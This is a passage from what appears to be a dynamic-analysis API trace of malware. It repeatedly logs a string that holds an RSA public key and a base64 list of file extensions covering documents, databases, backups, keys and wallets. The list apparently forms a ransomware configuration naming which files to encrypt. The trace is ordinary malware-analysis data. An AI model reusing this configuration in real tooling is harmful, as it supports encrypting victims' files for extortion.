J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.132] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.132] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.132] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCA